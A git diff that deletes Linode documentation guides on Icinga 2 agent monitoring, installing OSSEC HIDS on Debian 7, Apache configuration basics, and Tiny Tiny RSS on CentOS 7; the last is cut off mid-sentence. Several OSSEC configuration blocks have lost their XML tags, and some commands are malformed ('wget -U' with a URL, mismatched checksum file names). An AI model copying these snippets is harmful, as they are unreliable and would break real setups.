-object Host "Linode" { - import "generic-host" - address = "10.25.1.31" - check_command = "hostalive" -} -{{< /file >}} - -2. To check the status of a web server that runs on this node, add the following lines after host definition. This check will verify if the web server is alive and responds with the proper HTTP codes: - - {{< file "/etc/icinga2/conf.d/hosts.conf" conf >}} -object Service "http" { - host_name = "Linode" - check_command = "http" -} -{{< /file >}} - -3. Restart the service to apply the host definitions and start monitoring the new host resource: - - systemctl restart icinga2.service - -4. Verify the state of the new host by navigating to **Overview** then **Hosts** in Icinga’s Web 2 interface. - -5. To display the status of the host’s HTTP service, navigate to **Overview** then **Servicegroups** and click **HTTP Checks**. - -## Monitor Remote Hosts via Icinga 2 Agent Monitoring - -Icina2 can monitor a node's internal health parameters, such as CPU load, disk space, memory, and number of running process via a secured channel set up between a master node and client node on port `5665/TCP`. In this instance we’ll configure our Icinga 2 to act as the master node and monitor the remote CentOS 7 client node. In this specific type of configuration, also called a *Top Down Command Endpoint* model, the check commands will be scheduled on the master node and then will be sent to the client via a TLS connection. - -1. Set up the Icinga 2 master node on our Debian 9 server. Configure this instance of Icinga 2 as a master node: - - icinga2 node wizard - -2. Follow the prompts, and enter `n` to install a master setup: - - Please specify if this is a satellite setup ('n' installs a master setup) [Y/n]: n - -3. Press **Enter** to accept the default for each of the following: - - Please specify the common name (CN) [icinga]: - Please specify the API bind host/port (optional): - Bind Host []: - Bind Port []: - -4. Restart the Icinga 2 service to apply the master node configuration and check the daemon status: - - systemctl restart icinga2.service - systemctl status icinga2.service - -5. Output the port number of this master node and open the port in your Debian firewall: - - netstat -tulpn| grep icinga - -6. Generate a client ticket for your client node. Use the hostname of your client to generate the ticket. In this example the client node hostname is `centos`. Replace the hostname of the client and make sure you run the command with `root` privileges: - - icinga2 pki ticket --cn 'centos' - - The command will generate and display a key. Copy or note this key because you will need it to set up the CentOS client later. - -## Configure CentOS 7 Client Node - -1. Log in to your CentOS 7 system with an account with `root` privileges or directly as root and issue the following command to enable EPEL and Icinga 2 repositories in CentOS. Also, make sure your CentOS 7 system is configured with a static IP address. - - yum install epel-release - yum install https://packages.icinga.com/epel/icinga-rpm-release-7-latest.noarch.rpm - -2. Install the Igina2 engine and Nagios plugins required by Icinga 2 to execute the check commands in CentOS by issuing the following command: - - yum install icinga2 nagios-plugins-all - -3. After the Icinga 2 daemon has been installed in your CentOS system, start the node wizard and configure this system as a satellite node instead of master node: - - icinga2 node wizard - -4. Use the client node wizard to configure the CentOS client node with the following answers when prompted. Press **Enter** to accept the default as shown below: - - Please specify if this is a satellite setup ('n' installs a master setup) [Y/n]: y - Please specify the common name (CN) [centos]: **Enter** - Master Common Name (CN from your master setup): icinga - Do you want to establish a connection to the master from this node? [Y/n]: y - Master endpoint host (Your master's IP address or FQDN): 10.25.32.120 - Master endpoint port [5665]: **Enter** - Add more master endpoints? [y/N]: n - Please specify the master connection for CSR auto-signing (defaults to master endpoint host): **Enter** - Host [10.25.32.120]: **Enter** - Port [5665]: **Enter** - -5. Verify the information when prompted: - - Is this information correct? [y/N]: y - -6. Enter the ticket key generated in Step 6 of the previous section: - - Please specify the request ticket generated on your Icinga 2 master. - (Hint: # icinga2 pki ticket --cn 'centos'): a34c7fcbc4f5311257d2a5d4e7f1961dc3c64cb5 (Enter the ticket key generated on the master node) - -7. Complete the installation: - - Please specify the API bind host/port (optional): **Enter** - Bind Host []: **Enter** - Bind Port []: **Enter** - Accept config from master? [y/N]: y - Accept commands from master? [y/N]: y - -8. After the client node wizard completes, restart the Icinga 2 service, check Icinga 2 service status, list Icinga’s listening port, and add the Icinga 2 listening port number to the CentOS firewall: - - systemctl restart icinga2 - systemctl status icinga2 - ss –tlpn|grep icinga2 - firewall-cmd --add-port=5665/tcp --permanent - firewall-cmd --reload - -## Set up Icinga 2 Master Agent-based Monitoring - -1. Log in to the Icinga 2 master node and create a CentOS client zone directory, a client configuration, and a services file: - - mkdir /etc/icinga2/zones.d/centos/ - touch /etc/icinga2/zones.d/centos/centos.conf - touch /etc/icinga2/zones.d/centos/services.conf - -2. Add the following lines to the `centos.conf` zone configuration file: - - {{< file "centos.conf" conf >}} -object Zone "centos" { - endpoints = [ "centos" ] - parent = "icinga" -} - -object Endpoint "centos" { - host = "192.168.1.100" -} - -object Host "centos" { - import "generic-host" - address = "192.168.1.100" - vars.os = "Linux" - vars.notification["mail"] = { - groups = [ "icingaadmins" ] - } - vars.client_endpoint = name -} -{{< /file >}} - - The CentOS endpoint object zone will report back to its master node defined by the `parent = “icinga”` statement. Replace the CentOS hostname and IP address accordingly. - -3. Update the CentOS zone services configuration file: - - {{< file "/etc/icinga2/zones.d/centos/services.conf" conf >}} -apply Service "users" { - import "generic-service" - check_command = "users" - command_endpoint = host.vars.client_endpoint - assign where host.vars.client_endpoint -} - -apply Service "procs" { - import "generic-service" - check_command = "procs" - command_endpoint = host.vars.client_endpoint - assign where host.vars.client_endpoint -} -{{< /file >}} - - In this configuration file we’ve defined the following services checks for the remote client: - - - * Verify number of users logged in to the system and the number of processes running. - * The `command_endpoint` lines force the service checks to be transmitted to the remote CentOS system and executed by the Icinga 2 engine command endpoint. - * You can add as many commands as you’d like here to be executed internally on the remote host. However, if Icinga sent instructions are not present on the remote node as Nagios plugin scripts, the commands won’t execute and an error will be displayed in the icinga2 web interface. - - -4. Restart the icinga2 service to apply the configurations. - -5. Navigate to the Icinga Web 2 interface to verify that the command checks are running on the remote node host. - -## That’s all! - -You have successfully configured Icinga 2 as a master node and added a CentOS 7 client node to be remotely checked via Icinga 2 agent-based monitoring system and another remote host to be actively monitored via external services command checks. - -For other Icinga 2 configurations, installation, and monitoring mechanisms, visit the [official Icinga 2 documentation](https://www.icinga.com/docs/icinga2/latest/doc/01-about/). diff --git a/docs/guides/uptime/monitoring/ossec-ids-debian-7/index.md b/docs/guides/uptime/monitoring/ossec-ids-debian-7/index.md deleted file mode 100644 index 94d959272ee..00000000000 --- a/docs/guides/uptime/monitoring/ossec-ids-debian-7/index.md +++ /dev/null @@ -1,492 +0,0 @@ ---- -slug: ossec-ids-debian-7 -title: Install and Configure OSSEC on Debian 7 -description: 'This guide shows how to install and configure OSSEC HIDS, an open-source, host-based intrusion detection system which provides advanced monitoring functions, on Debian 7.' -authors: ["Sunday Ogwu-Chinuwa"] -contributors: ["Sunday Ogwu-Chinuwa"] -published: 2015-02-05 -keywords: ["IDS", " Intrusion Detection System"] -aliases: ['/security/ossec-ids-debian-7/','/uptime/monitoring/ossec-ids-debian-7/'] -tags: ["debian","monitoring"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[OSSEC](https://ossec.github.io/)' ---- - -![Install and Configure OSSEC on Debian 7](Install-and-Configure-OSSEC-on-Debian-7-smg.jpg) - -OSSEC is an open-source, host-based intrusion detection system (**HIDS**) that performs log analysis, integrity checking, rootkit detection, time-based alerting, and active response, making it an ideal choice for server monitoring. - -When installed and configured, OSSEC will provide a real-time view of what's taking place in your server or servers in a server/agent mode. - -This guide covers how to install and configure OSSEC on a single Linode running Debian 7 in such a manner that if a file is modified, added or deleted, OSSEC will notify you by email in real-time. OSSEC can also provide notifications for other activities. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prerequisites - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. It is especially important to create and enable a firewall. On Linux, OSSEC needs an active iptables firewall for its active response feature to work. - -3. Install `inotify-tools` and `build-essential`. OSSEC needs the first for real-time alerts and alerts on file deletions, while the latter is for compiling OSSEC. You can install both packages using: - - sudo apt-get install inotify-tools build-essential - -## Download and Verify OSSEC - -Debian 7 does not have an installation candidate for OSSEC in its repository, so it will need to be downloaded from the project's [download page](http://ossec.github.io/downloads.html). - -1. Download the latest OSSEC tarball (2.8.3 at the time of this guide's publication): - - wget -U https://bintray.com/artifact/download/ossec/ossec-hids/ossec-hids-2.8.3.tar.gz - -2. Download the checksum file: - - wget -U http://ossec.wazuh.com/vm/ossec-vm-2.8.3-checksum.txt - -3. Verify that the downloaded tarball has not been tampered with using the MD5 checksum: - - md5sum -c ossec-vm-2.8.3-checksum.txt - - The expected output is: - - ossec-hids-2.8.3.tar.gz: OK - md5sum: WARNING: 1 line is improperly formatted - -4. Verify the SHA1 checksum: - - sha1sum -c ossec-hids-2.8.3-checksum.txt - - The expected output is: - - ossec-hids-2.8.3.tar.gz: OK - sha1sum: WARNING: 1 line is improperly formatted - - - {{< note respectIndent=false >}} -In both outputs, ignore the **WARNING** line. As long as the first line reads **OK**, the file is good. -{{< /note >}} - -## Install OSSEC - -1. Untar the file: - - tar xf ossec-hids-2.8.3.tar.gz - -2. Change to the newly-created directory, then run the install: - - cd ossec-hids-2.8.3 - sudo ./install.sh - -3. Select your language. If your language is the default (English - [en]), press `Return`; otherwise, type in the 2-letter code for your language from the list of supported languages: - - OSSEC HIDS v2.8 Installation Script - http://ossec.github.io/ - - You are about to start the installation process of the OSSEC HIDS. - You must have a C compiler pre-installed in your system. - If you have any questions or comments, please send an e-mail - to dcid@ossec.net (or daniel.cid@gmail.com). - - - System: Linux deft 3.18.3-x86_64-linode51 - - User: root - - Host: deft - - -- Press ENTER to continue or Ctrl-C to abort. -- - -4. Press **ENTER**. You should now see: - - 1- What kind of installation do you want (server, agent, local, hybrid or help)? - - You have these installation options: server, agent, local, or hybrid. - - ... - - 1- What kind of installation do you want (server, agent, local, hybrid or help)? local - -5. Choose **local**, which enables OSSEC to monitor the server it has been installed on. Select the defaults for subsequent options. Note that the email you specify has to be a valid one, because all OSSEC alerts will be sent to it. If installation is successful, you should see: - - - System is Debian (Ubuntu or derivative). - - Init script modified to start OSSEC HIDS during boot. - - - Configuration finished properly. - - - To start OSSEC HIDS: - /var/ossec/bin/ossec-control start - - - To stop OSSEC HIDS: - /var/ossec/bin/ossec-control stop - - - The configuration can be viewed or modified at /var/ossec/etc/ossec.conf - - Thanks for using the OSSEC HIDS. - If you have any question, suggestion or if you find any bug, - contact us at contact@ossec.net or using our public maillist at - ossec-list@ossec.net - ( http://www.ossec.net/main/support/ ). - - More information can be found at http://www.ossec.net - - --- Press ENTER to finish (maybe more information below). --- - - Press **ENTER** to finish. OSSEC is now installed, and ready to be configured. - -## Configure OSSEC - -OSSEC is chrooted to the `/var/ossec` directory, and its configuration file is `ossec.conf`, in the `/var/ossec/etc` directory. There are several modifications that you will need to make in `ossec.conf`, including: - -- Email Settings - -- Configure OSSEC to alert on new files - -- Directories to monitor - -- Files and directories to ignore - -- Active response block times - -- Rules for new files - - -Use the `sudo su` command to gain root access to the directory: - - sudo su - -Switch to the `/var/ossec/etc` directory. - -### Customize Email Settings - -Although you specified an email and OSSEC auto-discovered the SMTP server, there are a few changes that can be made to the email settings. - -1. Open `ossec.conf`. The email settings are at the top of the file: - - {{< file "ossec.conf" >}} - - yes - loginName@example.com - mail.example.com. - ossecm@hostname - - -{{< /file >}} - - - The `< email_to >` entry is the email specified during installation. That is the address in which OSSEC will send alerts, and can be changed at any time. The `< email_from >` entry is where OSSEC's alerts will appear to be sent from. If you do not change the default, some SMTP servers will mark the email alerts as spam. - -2. Modify the `< email_from >` line: - - {{< file "ossec.conf" >}} - - yes - loginName@example.com - mail.example.com. - loginName@example.com - - -{{< /file >}} - - - {{< note respectIndent=false >}} -The `< email_to >` and `< email_from >` values can be the same. If you are running your own mail server and it's on the same server that OSSEC is installed, you may change the `< smtp_server >` value to `localhost`. -{{< /note >}} - - After making changes to the email settings, save and close the file. - -3. Start OSSEC: - - /var/ossec/bin/ossec-control start - - If the current working directory is `/var/ossec/etc`, you can use: - - ../bin/ossec-control start - -4. After OSSEC has started, check your inbox for the first alert from OSSEC: - - OSSEC HIDS Notification. - 2015 Jan 30 08:22:52 - - Received From: deft->ossec-monitord - Rule: 502 fired (level 3) -> "Ossec server started." - Portion of the log(s): - - ossec: Ossec started. - - --END OF NOTIFICATION - - If the email is received, then the settings are working and subsequent alerts will also hit your inbox. - - -### Configure OSSEC to Alert on New Files - -By default OSSEC will not send out an alert when a new file is added to the system. - -1. Open `ossec.conf` and scroll down to the following section: - - {{< file "ossec.conf" >}} - - - 79200 - -{{< /file >}} - - -2. Modify the file: - - {{< file "ossec.conf" >}} - - - 79200 - - yes - -{{< /file >}} - - - Note that the `< frequency >` is the interval that OSSEC performs a system check. During testing, you may reduce that setting to a lower number, like 900. Afterwards, it can be changed back to the default. - - -### Modify Directories to Monitor - -1. Open `ossec.conf`. Below the `< frequency >` setting is a list of system directories that OSSEC has been configured to monitor: - - {{< file "ossec.conf" >}} - -/etc,/usr/bin,/usr/sbin -/bin,/sbin - -{{< /file >}} - - -2. OSSEC can check the home directory and, if hosting a website on the server, monitor the website's data directory. For the specified directories, OSSEC can be configured to report changes in real-time: - - {{< file "ossec.conf" >}} - -/etc,/usr/bin,/usr/sbin -/bin,/sbin -/home/username,/var/www - -{{< /file >}} - - -3. Another directory you may want to configure OSSEC to monitor is `/var/ossec`, OSSEC's installation directory. However, if monitored, OSSEC **must** be configured to ignore certain directories within `/var/ossec`, otherwise you risk running out of disk space. - -### Modify Files and Directories to Ignore - -For a Linux system, the default list of files and directories to ignore are: - -{{< file "ossec.conf" >}} - -/etc/mtab -/etc/mnttab -/etc/hosts.deny -/etc/mail/statistics -/etc/random-seed -/etc/adjtime -/etc/httpd/logs -/etc/utmpx -/etc/wtmpx -/etc/cups/certs -/etc/dumpdates -/etc/svc/volatile - -{{< /file >}} - - -If OSSEC is configured to monitor `/var/ossec`, include the additional lines: - -{{< file "ossec.conf" >}} -/var/ossec/logs -/var/ossec/queue -/var/ossec/var -/var/ossec/tmp -/var/ossec/stats - -{{< /file >}} - - -### Modify Active Response Block Times - -OSSEC uses tcpwrappers (`host.deny`) and iptables to ban any IP addresses that trigger an alert. By default, such IP addresses are blocked for 600 seconds, or 10 minutes. This can be changed to a longer timeframe. - -To alter the timeframe of a ban, change the `< timeout >` setting to suit. Note that it has to be in **seconds**: - -{{< file "ossec.conf" >}} - - - - host-deny - local - 6 - 600 - - - - - - firewall-drop - local - 6 - 600 - - -{{< /file >}} - - -After making changes, save and close the file. - -### Modify Rule for New Files - -1. Move to the `/var/ossec/rules` directory: - - cd /var/ossec/rules - - The rules are located in a series of XML files and all rule definitions are found in `ossec_rules.xml`, which should not be modified. All rule modifications must be made in `local_rules.xml`. - -2. The rule that fires on new files is rule number **554**. The chunk of code that defines that rule in `ossec_rules.xml` is: - - {{< file "ossec_rules.xml" >}} - - ossec - syscheck_new_entry - File added to the system. - syscheck, - - -{{< /file >}} - - -3. Since OSSEC does not alert on rules that are **level 0**, that rule has to be modified in `local_rules.xml` so that OSSEC can fire when a new file is added to the system. The rule modification should be located between the `< group > ... < /group >` tags: - - {{< file "local_rules.xml" >}} - - ossec - syscheck_new_entry - File added to the system. - syscheck, - - - - - - - -{{< /file >}} - - -5. Save and close the file. - -## Restarting OSSEC - -After any modification is made to OSSEC, it has to be restarted: - - /var/ossec/bin/ossec-control restart - -If it restarts with no errors, it will output the following: - - Killing ossec-monitord .. - Killing ossec-logcollector .. - Killing ossec-syscheckd .. - Killing ossec-analysisd .. - Killing ossec-maild .. - Killing ossec-execd .. - OSSEC HIDS v2.8 Stopped - Starting OSSEC HIDS v2.8 (by Trend Micro Inc.)... - Started ossec-maild... - Started ossec-execd... - Started ossec-analysisd... - Started ossec-logcollector... - Started ossec-syscheckd... - Started ossec-monitord... - Completed. - -Otherwise, you will receive a configuration error: - - Starting OSSEC HIDS v2.8 (by Trend Micro Inc.)... - ossec-analysisd: Configuration error. Exiting. - -If this happens, check OSSEC's error log. It is advised to check the error log even if OSSEC restarts successfully, because may contain other errors that don't prevent OSSEC from restarting, but may need your attention. The error log file is `ossec.log` under the `/var/ossec/logs` directory. - -## What to Expect - -After making any final modifications and restarting OSSEC, you should receive another alert saying that OSSEC has started. If any rule is triggered after that, you will also receive similar alerts in your inbox: - - OSSEC HIDS Notification. - 2015 Jan 30 09:57:06 - - Received From: deft->syscheck - Rule: 550 fired (level 7) -> "Integrity checksum changed." - Portion of the log(s): - - Integrity checksum changed for: '/home/finid/sidebar.php' - Size changed from '0' to '19' - What changed: - 0a1 - - this is a php file - - Old md5sum was: 'd41d8cd98f00b204e9800998ecf8427e' - New md5sum is : 'df4f22f84b5ceb2c31cbb391883f2c83' - Old sha1sum was: 'da39a3ee5e6b4b0d3255bfef95601890afd80709' - New sha1sum is : '297b920c943134074690344a3da83f19483a93ef' - - --END OF NOTIFICATION - ---- - - OSSEC HIDS Notification. - 2015 Jan 30 09:26:02 - - Received From: deft->netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort - Rule: 533 fired (level 7) -> "Listened ports status (netstat) changed (new port opened or closed)." - Portion of the log(s): - - ossec: output: 'netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort': - tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:43157 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp6 0 0 :::111 :::* LISTEN - tcp6 0 0 ::1:25 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::53262 :::* LISTEN - Previous output: - ossec: output: 'netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort': - tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:43157 0.0.0.0:* LISTEN - tcp6 0 0 :::111 :::* LISTEN - tcp6 0 0 ::1:25 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::53262 :::* LISTEN - - - --END OF NOTIFICATION - ---- - - OSSEC HIDS Notification. - 2015 Jan 30 09:57:54 - - Received From: deft->syscheck - Rule: 553 fired (level 7) -> "File deleted. Unable to retrieve checksum." - Portion of the log(s): - - File '/home/user5/footer.php' was deleted. Unable to retrieve checksum. - - --END OF NOTIFICATION - ---- - - OSSEC HIDS Notification. - 2015 Jan 30 09:19:16 - - Received From: deft->/var/log/dpkg.log - Rule: 2902 fired (level 7) -> "New dpkg (Debian Package) installed." - Portion of the log(s): - - 2015-01-30 09:19:14 status installed nginx-common:all 1.2.1-2.2+wheezy3 - - - --END OF NOTIFICATION diff --git a/docs/guides/web-servers/apache-tips-and-tricks/apache-configuration-basics/index.md b/docs/guides/web-servers/apache-tips-and-tricks/apache-configuration-basics/index.md deleted file mode 100644 index efb8cf4483c..00000000000 --- a/docs/guides/web-servers/apache-tips-and-tricks/apache-configuration-basics/index.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -slug: apache-configuration-basics -title: Apache Configuration Basics -description: An advanced overview of configuration for the Apache web server including virtual hosts and configuration file management -authors: ["Linode"] -contributors: ["Linode"] -published: 2009-11-06 -modified: 2011-08-22 -keywords: ["configuration", "apache", "web server", "virtual hosting", "http"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/apache-tips-and-tricks/apache-configuration-basics/','/web-servers/apache/configuration/configuration-basics/','/web-servers/apache-tips-and-tricks/apache-configuration-basics/'] -external_resources: - - '[Apache Installation](/cloud/guides/web-servers/apache/)' - - '[LAMP stack guides](/cloud/guides/web-servers/lamp/)' - - '[Troubleshooting Common Issues with Apache](/cloud/guides/troubleshooting-common-apache-issues/)' - - '[Linode User Community](http://linode.com/community/)' - - '[Apache Virtual Host Documentation](http://httpd.apache.org/docs/2.2/vhosts/)' - - '[Virtual Host Directives](http://httpd.apache.org/docs/2.2/mod/core.html#virtualhost)' - - '[Apache Control Interface](http://httpd.apache.org/docs/2.2/programs/apachectl.html)' - - '[HTTP Command](http://httpd.apache.org/docs/2.2/programs/httpd.html)' -tags: ["web server","apache"] ---- - -![Apache Configuration Basics](Apache_Configuration_Basics_smg.png) - -The Apache HTTP web server is in many respects the *de facto* standard for general purpose HTTP services. Through its large number of modules, it provides flexible support for proxy servers, URL rewriting, and granular access control. Furthermore, web developers often choose Apache for its support of server-side scripting using CGI, FastCGI, and embedded interpreters. These capabilities facilitate the quick and efficient execution of dynamic code. While there are several prominent alternatives to Apache, even within the boundaries of open source, the breadth of Apache usage is unique. - -The extraordinary degree of flexibility provided by Apache does not come without some cost; this mostly takes the form of a configuration structure that is sometimes confusing and often complicated. For this reason we've created this document and a number of other guides that seek to address this complexity and explore some more advanced and *optional* functionality of the Apache HTTP Sever. - -If you're interested in just getting a running web server and installing Apache for the first time, we recommend using the appropriate "[installing Apache guide](/cloud/guides/web-servers/apache/)" for your distribution of Linux. If you need a more full-featured LAMP stack, consider trying the appropriate [LAMP guide](/cloud/guides/web-servers/lamp/) for your distribution. This guide assumes that you have a running and up to date Linux system, have successfully installed Apache, and have logged into a shell session with root access. - -## Apache Basics - -The default configuration of Apache varies significantly between various distributions of Linux. Debian and Ubuntu distributions, as well as Gentoo, refer to Apache as "Apache2" and place the configuration files in the `/etc/apache2/` directory. Other distributions, including Fedora, CentOS, and Arch Linux refer to Apache as "httpd" and store configuration files in `/etc/httpd/`. Most configuration options do not vary between operating systems, though we encourage you to become familiar with the default configuration of your Apache server. The greatest challenges in configuring Apache are in understanding the distributions' standard configurations and their quirks and differences from the Apache upstream. - -To administer basic Apache functionality you can use the "init" scripts, which provide a safe and easy way to start, stop, and restart the server. The init script also allows you to reload the configuration and check on the status of the server. To access these functions, issue the appropriate command: - - /etc/init.d/apache2 start - /etc/init.d/apache2 stop - /etc/init.d/apache2 restart - /etc/init.d/apache2 reload - /etc/init.d/apache2 status - -If you're using a distribution that refers to Apache as httpd, then the commands are as follows: - - /etc/init.d/httpd start - /etc/init.d/httpd stop - /etc/init.d/httpd restart - /etc/init.d/httpd reload - /etc/init.d/httpd status - -For some distributions, the path to the script may be `/etc/rc.d/init.d/` instead of `/etc/init.d/`. - -If you're using `mod_disk_cache` on Debian-based distributions, the init script contains functionality to control the functionality of the htcache, with the following command: - - /etc/init.d/apache2 start-htcacheclean - /etc/init.d/apache2 stop-htcacheclean - -There is also additional functionality provided from a command line interface. To check the syntax of your Apache configuration files without needing to restart the server and test, you can issue the following command on Debian and Ubuntu systems: - - apache2ctl -t - -On CentOS and Fedora systems, use the following form: - - httpd -t - -Additionally, the `apache2ctl -S` or `httpd -S` commands provide a report on currently running virtual hosts, containing the port that the host is listening on, the name of the virtual host (i.e. the domain), and information about the location of the site's configuration settings including file names and line numbers. - -Typically, the "master" configuration file for Apache is located in the `httpd.conf` file. In Debian-based distributions, this is located in the `apache2.conf` file, and the `httpd.conf` file contains user-specific configuration. In addition to the master file, a number of additional files are included by the master file. To get a list of these files, issue one of the following commands, depending on your distribution: - - grep "Include" /etc/apache2/apache2.conf - grep "Include" /etc/apache2/httpd.conf - grep "Include" /etc/httpd/httpd.conf - -Note that the order in which these files are included can affect the behavior of the web server. If later options contradict options set in earlier files, the later options override earlier options. Familiarizing yourself with the existing default configuration can be a helpful learning experience. - -## Configuration File Organization - -One of the most common use cases for the Apache web server is to use its "virtual hosting" capabilities, which allow a single instance of Apache to serve numerous websites and subdomains. Because most websites don't tend to use a significant amount of system resources, virtual hosting is often a great way to fully utilize a web server. As a result of this capability, configuration files for virtual hosts can be complex and difficult to organize. There are two major approaches to the solution for this problem. - -### Symbolic Links and the Debian Way - -In an effort to increase usability, the Debian project makes it possible for users to mostly avoid editing the "base configuration" of the web server. As a result, Debian and Ubuntu use a sequence of symbolic links to allow administrators to enable and disable various configuration options without deleting configuration options outright. - -If you use an operating system other than Debian or would like to use the "sites-enabled" organization for your configuration files, make sure that the appropriate line from the following exists in your `apache.conf` or `httpd.conf` file: - -{{< file "/etc/httpd/httpd.conf or /etc/apache2/apache2.conf" apache >}} -Include /etc/httpd/sites-enabled/ -Include /etc/apache2/sites-enabled/ - -{{< /file >}} - - -If you haven't yet created this directory, you will need to do so with a command similar to the following: `mkdir -p /etc/httpd/sites-enabled/`. Now your Apache server will include configuration options specified in any files stored in these directories. To create a link to this directory, issue the following command: - - ln -s /etc/httpd/vhosts/example.com /etc/httpd/sites-enabled/example.com - -The syntax for creating symbolic links is `ln -s` followed by the "target" or the original file you are linking, and then the path to the link you wish to create. If you omit the final term, the link name, `ln` will create a link with the same name as the target file in the current directory. If you remove a link, the original file will be unaffected. Apache will follow multiple layers of symbolic links, though this can become confusing in its own right. - -One possible advantage of this is that the configuration files for a virtual host can be kept in close proximity to the other related files for that virtual host. Often all resources related to your virtual host are located in a directory such as `/srv/www/example.com/`. The `DocumentRoot`, logs directory, and application support files are located beneath this directory at `public_html/`, `logs/`, and `application/` respectively. Given this organization, you may find it convent to store your virtual host configuration file at `/srv/www/example.com/`. This makes backing up and moving a virtual host easy, as all files are located in a single directory. If the virtual host configuration file is located at `/srv/www/example.com/apache.conf` you might create the symbolic link as follows: - - ln -s /srv/www/example.com/apache.conf /etc/apache2/sites-available/example.com - -If you're using a Debian-based distribution, you can use the `a2ensite` and `a2dissite` tools to manage virtual host files. You can also manually link your configuration files to `/etc/apache2/sites-enabled/example.com`. If you aren't using a Debian-based distribution, the symbolic link might look something like the following, although the file names and locations may change somewhat: - - ln -s /srv/www/example.com/apache.conf /etc/httpd/conf.d/example.conf - -### Create a Single Virtual Hosts file - -The Debian approach of keeping a single configuration file for each virtual host can be helpful for managing a number of websites that are not interconnected, or that need to be edited by a number of distinct and non-privileged users. However, there are some situations where having too many individual virtual host files that set the same cluster of configuration options for a group of hosts can cause confusion and increase the maintenance burden. - -In these cases, a single file may be the best option for keeping Apache configured properly. This is the preferred organization for virtual host configuration in some distributions, including CentOS, Fedora, and Arch Linux. While you should check the default Apache configuration for your distribution, commonly there is a `conf.d/` directory where user-created configuration can be stored. If you want to combine a number of virtual host configuration files into a single file, create a `vhosts.conf` in the `conf.d/` folder and place all of your configuration options in this file. The `conf.d/` folder is located within Apache's `/etc/` directory, either: `/etc/apache2/conf.d/` or `/etc/httpd/conf.d/` depending on your distribution. - -Both configuration options are functionally equivalent, but offer easier administration in different scenarios. The configuration file organization that you choose depends on the needs of your particular deployment. diff --git a/docs/guides/web-servers/apache/host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7/index.md b/docs/guides/web-servers/apache/host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7/index.md deleted file mode 100644 index fdf67dd3701..00000000000 --- a/docs/guides/web-servers/apache/host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7/index.md +++ /dev/null @@ -1,180 +0,0 @@ ---- -slug: host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7 -title: 'Host Your Own RSS Reader with Tiny Tiny RSS on CentOS 7' -description: 'This article gives you step-by-step instructions on how you can self-host your own RSS reader on a Linode running CentOS 7 with the Tiny Tiny RSS app.' -authors: ["Tyler Langlois"] -contributors: ["Tyler Langlois"] -published: 2017-03-30 -keywords: ["apache", "centos", "rss", "reader", "ttrss", "tt-rss"] -tags: ["centos","web server","apache"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/web-servers/apache/host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7/','/websites/apache/host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7/'] -external_resources: - - '[Tiny Tiny RSS Installation Notes](https://tt-rss.org/gitlab/fox/tt-rss/wikis/InstallationNotes)' ---- - -[Tiny Tiny RSS](https://tt-rss.org/) (or tt-rss for short) is an open-source, self-hosted RSS reader that runs on PHP and a traditional SQL database. Running your own RSS aggregator puts you in control of your data, and Tiny Tiny RSS even supports [mobile apps](https://play.google.com/store/apps/details?id=org.ttrssreader) that connect to your server. - -![Install Tiny Tiny RSS on CentOS 7](host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7.png) - -This guide will walk through the steps necessary to install and configure Tiny Tiny RSS on a Linode running CentOS 7, using MariaDB as the database and Apache as the web server. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -2. Follow the steps in the [LAMP on CentOS 7](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/) guide. - -3. Make sure your system is up to date: - - sudo yum update - -## Preparing MySQL - -1. Connect to your MariaDB database as the root user: - - mysql -u root -p - -2. From the MariaDB shell, issue the following commands to create a new database and user for Tiny Tiny RSS. Replace **MyPassword** with a strong password: - - create database ttrss; - grant all on ttrss.* to 'ttrss' identified by 'MyPassword'; - exit - -## Preparing Apache - -1. Ensure that necessary PHP prerequisites are installed: - - sudo yum install -y php-mysql php-mbstring php-intl - -2. Add a configuration file under `/etc/httpd/conf.d/ttrss.conf` to secure the directories that Tiny Tiny RSS will use: - - {{< file "/etc/httpd/conf.d/ttrss.conf" aconf >}} - - Require all denied - - - - - Require all denied - - - -{{< /file >}} - - -3. Restart Apache to apply your changes: - - sudo systemctl restart httpd - -## Install Tiny Tiny RSS - -The recommended installation method for Tiny Tiny RSS is to clone the repository with `git`, as this simplifies the update process. - -1. Install `git`: - - sudo yum install -y git - -2. Clone the codebase into `/var/www/html`: - - sudo git clone https://tt-rss.org/git/tt-rss.git /var/www/html - - {{< note respectIndent=false >}} -This command will clone tt-rss into the 